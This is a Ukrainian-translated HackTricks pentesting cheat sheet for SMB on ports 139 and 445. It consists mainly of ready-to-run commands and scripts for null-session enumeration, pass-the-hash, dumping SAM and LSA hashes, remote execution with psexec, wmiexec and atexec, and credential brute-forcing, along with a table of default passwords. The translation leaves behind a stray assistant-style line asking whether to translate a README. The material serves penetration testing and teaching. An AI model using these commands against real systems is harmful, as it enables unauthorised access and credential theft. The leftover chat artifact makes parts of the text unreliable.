139,445 - Pentesting SMB
Reading time: 21 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Порт 139
Мережевий базовий механізм вводу/виводу** (NetBIOS)** — це програмний протокол, призначений для того, щоб дозволити застосункам, ПК та робочим станціям у локальній мережі (LAN) взаємодіяти з мережевим обладнанням і сприяти передачі даних по мережі. Ідентифікація та визначення розташування програм, що працюють у мережі NetBIOS, здійснюються за допомогою їхніх NetBIOS names, які можуть налічувати до 16 символів і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома застосунками ініціюється, коли один застосунок (що виступає як клієнт) посилає команду "call" іншому застосунку (що виступає як сервер), використовуючи TCP Port 139.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Порт 445
Технічно Port 139 називають «NBT over IP», тоді як Port 445 ідентифікують як «SMB over IP». Абревіатура SMB означає «Server Message Blocks», що сучасно також відома як Common Internet File System (CIFS). Як протокол прикладного рівня мережі, SMB/CIFS здебільшого використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та для полегшення різних форм комунікації між вузлами в мережі.
Наприклад, у контексті Windows підкреслюють, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Натомість на інших системах спостерігається застосування порту 139, що вказує на виконання SMB спільно з NetBIOS over TCP/IP.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Протокол Server Message Block (SMB), що працює в client-server моделі, призначений для регулювання access to files, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем Windows; SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями ОС Microsoft безперебійно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проєкт Samba пропонує вільне програмне рішення для реалізації SMB на системах Linux та Unix, що полегшує кросплатформену комунікацію через SMB.
Shares, що представляють arbitrary parts of the local file system, можуть бути надані SMB сервером, роблячи ієрархію видимою для клієнта частково independent від фактичної структури сервера. Access Control Lists (ACLs), які визначають access rights, дозволяють здійснювати fine-grained control над правами користувачів, включно з атрибутами такими як execute
, read
та full access
. Ці дозволи можна призначити окремим користувачам або групам залежно від shares, і вони відрізняються від локальних прав, встановлених на сервері.
IPC$ Share
Доступ до IPC$ share можна отримати через анонімну null session, що дозволяє взаємодіяти з сервісами, які відкриті через named pipes. Утиліта enum4linux
корисна для цієї мети. При правильному використанні вона дозволяє отримати:
- Інформацію про операційну систему
- Деталі про батьківський домен
- Перелік локальних користувачів і груп
- Інформацію про наявні SMB shares
- Ефективну політику безпеки системи
Ця функціональність є критичною для мережевих адміністраторів та фахівців з безпеки для оцінки стану безпеки служб SMB (Server Message Block) у мережі. enum4linux
надає всебічний огляд SMB середовища цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
enum4linux -a target_ip
Вищенаведена команда — приклад того, як enum4linux
може бути використаний для проведення повного enumeration щодо цілі, вказаної як target_ip
.
Що таке NTLM
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як ним зловживати, вам буде дуже цікава ця сторінка про NTLM, де пояснюється як цей протокол працює і як ви можете ним скористатися:
Server Enumeration
Scan мережу в пошуку хостів:
nbtscan -r 192.168.0.1/24
Версія SMB-сервера
Щоб шукати можливі експлойти для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не з'являється в інших інструментах, які ви використовуєте, ви можете:
- Використайте допоміжний модуль MSF
**auxiliary/scanner/smb/smb_version**
- Або цей скрипт:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
Пошук exploit
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
Можливі облікові дані
Ім'я(я) користувача | Поширені паролі |
---|---|
(blank) | (blank) |
guest | (blank) |
Administrator, admin | (blank), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
Brute Force
Інформація про середовище SMB
Отримання інформації
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
Перелічення користувачів, груп і поточних увійшених користувачів
Ця інформація вже має бути зібрана за допомогою enum4linux та enum4linux-ng
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
Перелічити локальних користувачів
lookupsid.py -no-pass hostname.local
Однорядкова команда
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - Перерахування локальних користувачів
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
Enumerating LSARPC and SAMR rpcclient
GUI підключення з linux
У терміналі:
xdg-open smb://cascade.htb/
У вікні файлового менеджера (nautilus, thunar, тощо)
smb://friendzone.htb/general/
Спільні папки Enumeration
Перелічити спільні папки
Завжди рекомендується перевірити, чи можете ви отримати доступ до чогось. Якщо у вас немає облікових даних, спробуйте використовувати null credentials/guest user.
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
Підключити/Переглянути спільну папку
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Вручну перелічити windows shares і підключитися до них
Може трапитися, що вам заборонено показувати будь-які shares на хості, і при спробі їх перерахувати здається, що немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до конкретного share. Щоб вручну перелічити shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні валідної сесії (наприклад, null session або valid credentials). Вони можуть вказувати, чи існує share і ви не маєте до нього доступу, або ж share взагалі не існує.
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Common share names from Network Security Assessment 3rd edition)
Ви можете спробувати підключитися до них, використавши наступну команду
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
або цей скрипт (використовуючи null session)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
"examples" — "приклади"
Вам потрібно перекласти лише це слово, чи весь файл README.md? Якщо весь файл — вставте вміст сюди.
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Перелічити shares з Windows / без сторонніх інструментів
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
CMD консоль
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMC Snap-in (графічний)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe (графічно), введіть \\<ip>\
, щоб побачити доступні неприховані shares.
Підключити спільну папку
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
Завантажити файли
Прочитайте попередні розділи, щоб дізнатися, як підключитися за допомогою credentials/Pass-the-Hash.
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Команди:
- mask: вказує маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files)
- recurse: увімкнути рекурсію (за замовчуванням: off)
- prompt: вимикає запит імен файлів (за замовчуванням: on)
- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину
(Інформація з manpage smbclient)
Пошук спільних папок домену
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec spider.
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
Особливо цікавими у шарах є файли під назвою Registry.xml
, оскільки вони may contain passwords для користувачів, налаштованих із autologon через Group Policy. Або web.config
файли, оскільки вони містять облікові дані.
tip
The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
Ви повинні check scripts всередині неї, оскільки ви можете find чутливу інформацію, таку як passwords.
Читання реєстру
Ви можете мати змогу read the registry використовуючи знайдені облікові дані. Impacket reg.py
дозволяє вам спробувати:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Post Exploitation
Конфігурація за замовчуванням Samba сервера зазвичай знаходиться в /etc/samba/smb.conf
і може містити деякі небезпечні налаштування:
Налаштування | Опис |
---|---|
browseable = yes | Дозволяє перераховувати доступні шари? |
read only = no | Забороняє створення та зміну файлів? |
writable = yes | Дозволяє користувачам створювати та змінювати файли? |
guest ok = yes | Дозволяє підключатися до сервісу без пароля? |
enable privileges = yes | Дотримуватися привілеїв, призначених конкретному SID? |
create mask = 0777 | Які дозволи мають бути призначені новоствореним файлам? |
directory mask = 0777 | Які дозволи мають бути призначені новоствореним директоріям? |
logon script = script.sh | Який скрипт повинен виконуватися при вході користувача? |
magic script = script.sh | Який скрипт має виконуватися при закритті скрипта? |
magic output = script.out | Де має зберігатися вивід magic script? |
Команда smbstatus
надає інформацію про сервер та про хто підключений.
Аутентифікація через Kerberos
Ви можете автентифікуватися до Kerberos за допомогою інструментів smbclient та rpcclient:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
У середовищах, де використовується лише Kerberos (NTLM вимкнено), спроби NTLM проти SMB можуть повертати STATUS_NOT_SUPPORTED
. Виправте типові проблеми з Kerberos і примусьте аутентифікацію Kerberos:
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
Для повної конфігурації клієнта (генерація krb5.conf, kinit, застереження щодо SSH GSSAPI/SPN) див.:
88tcp/udp - Pentesting Kerberos
Виконання команд
crackmapexec
crackmapexec може виконувати команди, зловживаючи будь-яким з mmcexec, smbexec, atexec, wmiexec, причому wmiexec є методом за замовчуванням. Ви можете вказати, який варіант бажаєте використовувати, за допомогою параметра --exec-method
:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
Обидва варіанти створюють нову службу (використовуючи \pipe\svcctl через SMB) на машині жертви та використовують її, щоб виконати щось (psexec буде upload виконуваний файл до ADMIN$ share, а smbexec вкаже на cmd.exe/powershell.exe і помістить у аргументи payload — file-less technique).
Більше інформації про psexec та smbexec.
У kali він знаходиться в /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
Використовуючи параметр-k
ви можете автентифікуватися через kerberos замість NTLM
wmiexec/dcomexec
Приховано запустити командну оболонку без запису на диск або запуску нового сервісу, використовуючи DCOM через port 135.
У kali він знаходиться на /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
Використовуючи параметр-k
ви можете аутентифікуватися за допомогою kerberos замість NTLM
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
Виконує команди через Task Scheduler (використовуючи \pipe\atsvc через SMB).
У kali він знаходиться в /usr/share/doc/python3-impacket/examples/
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Посилання на Impacket
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
Ksmbd Attack Surface And Fuzzing Syzkaller
Bruteforce users credentials
Не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB relay attack
Ця атака використовує набір інструментів Responder для перехоплення SMB-сесій аутентифікації у внутрішній мережі та переспрямування їх на цільову машину. Якщо аутентифікація сесії є успішною, вона автоматично надасть вам системний shell.
Більше інформації про цю атаку тут.
SMB-Trap
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до вмісту через SMB, наприклад: img src="\\10.10.10.10\path\image.jpg"
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
SMBTrap з використанням MitMf
NTLM Theft
Подібно до SMB Trapping, розміщення шкідливих файлів на цільовій системі (наприклад, через SMB) може спричинити спробу SMB-аутентифікації, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструмента, такого як Responder. Потім хеш можна зламати офлайн або використати в SMB relay attack.
HackTricks Автоматичні команди
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
Посилання
- NetExec (CME) вікі – використання Kerberos
- Pentesting Kerberos (88) – налаштування клієнта та усунення несправностей
- 0xdf – HTB: TheFrizz
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.